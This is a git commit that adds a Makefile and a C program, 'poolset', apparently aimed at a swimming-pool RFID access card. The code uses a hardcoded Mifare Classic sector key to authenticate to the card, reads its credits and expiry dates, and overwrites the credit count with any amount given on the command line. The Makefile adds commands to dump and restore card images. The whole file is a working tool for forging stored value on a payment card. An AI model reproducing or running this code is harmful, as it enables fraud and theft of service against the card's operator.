first commit

Makefile

@@ -0,0 +1,7 @@
+restore_tag:
+	nfc-mfclassic f A orig_10.mfd orig_10.mdf f
+	nfc-mfclassic w a orig_10.mfd
+
+all:
+	gcc -o poolset -lusb -lnfc -lfreefare poolset.c
+

poolset.c

@@ -0,0 +1,89 @@
+#include <stdlib.h>
+#include <string.h>
+
+#include <nfc/nfc.h>
+#include <freefare.h>
+
+MifareClassicKey SecretKey[] = { 0x00, 0x01, 0x31, 0xB9, 0x3F, 0x28 };
+MifareClassicBlock data_read;
+
+int main(int argc, const char *argv[]) {
+
+	nfc_context *context;		//init libnfc
+	nfc_device *pnd;			//trouver un lecteur
+	MifareTag *tags = NULL;		//stockage des tags
+	int i, nbsect, coins;
+
+	printf("-=- RFID Poolset -=-\n");
+	if(argc == 1) {
+		printf("No arguments found, read only mode...\n");
+	}
+	else coins = atoi(argv[1]);
+
+	nfc_init(&context);			
+	if(context == NULL) {
+		printf("[x] Unable to init libnf\n");
+		exit(EXIT_FAILURE);
+	}
+
+	pnd = nfc_open(context, NULL);
+	if (pnd == NULL) {
+		printf("[x] Unable to open NFC device\n");
+		exit(EXIT_FAILURE);
+	}
+	printf("NFC reader: %s opened\n", nfc_device_get_name(pnd));
+
+	
+	//tags = freefare_get_tags(pnd);
+	while(!tags) {
+		printf("Waiting for Mifare 1k...\n");
+		sleep(1);
+		tags = freefare_get_tags(pnd);
+	}
+	
+	for(i=0; tags[i]; i++) {
+
+		switch(freefare_get_tag_type(tags[i])) {
+			case CLASSIC_1K:
+				printf("=> Tag number %u with UID %s type Mifare 1k (S50) found !\n", i, freefare_get_tag_uid(tags[i]) );
+				printf("=> Trying to authenticate with SecretKey %.2x %.2x %.2x %.2x %.2x %.2x ...\n", SecretKey[0][0], SecretKey[0][1], SecretKey[0][2], SecretKey[0][3], SecretKey[0][4], SecretKey[0][5]);
+
+				if(mifare_classic_connect(tags[i]) == OPERATION_OK) {
+					printf("=> Mifare tag connected !\n");
+				}
+				else printf("Non ca chie dans la colle mais grave, ton tag est moisi\n");
+				
+				if(mifare_classic_authenticate(tags[i], 5, SecretKey[0], MFC_KEY_A) == OPERATION_OK) {
+					printf("=> Tag authenticated !\n");
+				}
+				else printf("Non ca chie dans la colle mais grave, check ta clé\n");
+
+				if(mifare_classic_read(tags[i], 5, &data_read) == OPERATION_OK) {
+					printf("  => Infos\n");
+					printf("  => credits :\t\t%.2d\n", data_read[7]);
+					printf("  => buy date :\t\t%.2d/%.2d/%.2d\n", data_read[0], data_read[1], data_read[2]);
+					printf("  => expire date :\t%.2d/%.2d/%.2d\n", data_read[3], data_read[4], data_read[5]);
+				} 
+	
+				if(argc > 1) {
+					data_read[7] = coins;
+					printf("=> Writing new amount...\n");
+					if(mifare_classic_write(tags[i], 5, &data_read) == OPERATION_OK){
+						if(mifare_classic_read(tags[i], 5, &data_read) == OPERATION_OK) {
+							printf("=> %.2d credits found now !\n", data_read[7]);
+						} 
+					}
+				} 
+				mifare_classic_disconnect(tags[i]);
+				break;
+
+			default:
+				printf("[x] Wrong tag Mr Dugland !");
+				break;
+		}
+	}
+	freefare_free_tags(tags);
+	nfc_close(pnd);
+	nfc_exit(context);
+	exit(EXIT_SUCCESS);
+}